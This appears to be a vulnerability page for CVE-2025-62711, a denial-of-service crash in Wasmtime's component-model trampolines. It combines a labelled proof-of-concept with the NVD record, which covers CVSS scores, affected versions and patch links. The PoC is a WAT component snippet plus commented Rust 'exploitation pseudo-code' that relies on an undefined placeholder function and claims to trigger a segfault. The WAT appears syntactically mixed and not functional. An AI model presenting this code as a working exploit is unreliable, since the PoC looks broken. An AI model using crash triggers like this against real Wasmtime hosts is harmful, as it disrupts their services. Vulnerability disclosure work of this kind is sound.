CVE-2025-62711

// PoC for CVE-2025-62711 // This PoC demonstrates the vulnerability in Wasmtime's component-model trampolines // Build with: wat2wasm poc.wat && rustc poc.rs (module (component (type (func (param "a" string) (result string))) (import "host" (func $host_func (type 0))) (func (export "test") (type 0) i32.const 0 i32.const 0 call $host_func ) ) ) // Rust exploitation pseudo-code: // use wasmtime::*; // use wasmtime::component::*; // // fn trigger_vulnerability() -> Result<(), Box<dyn std::error::Error>> { // let engine = Engine::default(); // // Craft malicious component that triggers trampoline bug // let malicious_component = craft_malicious_wasm_component(); // let component = Component::new(&engine, malicious_component)?; // let mut store = Store::new(&engine, ()); // let linker = Linker::new(&engine); // linker.define("host", "func", Func::wrap(&store, |_| {}))?; // let instance = linker.instantiate(&mut store, &component)?; // let test_func = instance.get_typed_func::<(), ()>(&mut store, "test")?; // test_func.call(&mut store, ())?; // Triggers segfault // Ok(()) // }

{"cve": {"id": "CVE-2025-62711", "sourceIdentifier": "[email protected]", "published": "2025-10-24T22:15:49.850", "lastModified": "2025-11-03T19:26:50.060", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Wasmtime is a runtime for WebAssembly. In versions from 38.0.0 to before 38.0.3, the implementation of component-model related host-to-wasm trampolines in Wasmtime contained a bug where it's possible to carefully craft a component, which when called in a specific way, would crash the host with a segfault or assert failure. Wasmtime 38.0.3 has been released and is patched to fix this issue. There are no workarounds."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:H/AT:P/PR:L/UI:P/VC:N/VI:N/VA:L/SC:N/SI:N/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 2.1, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "HIGH", "attackRequirements": "PRESENT", "privilegesRequired": "LOW", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "LOW", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:L", "baseScore": 3.1, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.6, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-755"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:bytecodealliance:wasmtime:*:*:*:*:*:rust:*:*", "versionStartIncluding": "38.0.0", "versionEndExcluding": "38.0.3", "matchCriteriaId": "5DA026E3-9952-4167-AB69-2D01247789E9"}]}]}], "references": [{"url": "https://github.com/bytecodealliance/wasmtime/commit/192f2fcdadfec9d0cf6b58548a85a7307450cbf5", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/bytecodealliance/wasmtime/pull/11592", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/bytecodealliance/wasmtime/security/advisories/GHSA-4h67-722j-5pmc", "source": "[email protected]", "tags": ["Patch", "Third Party Advisory"]}]}}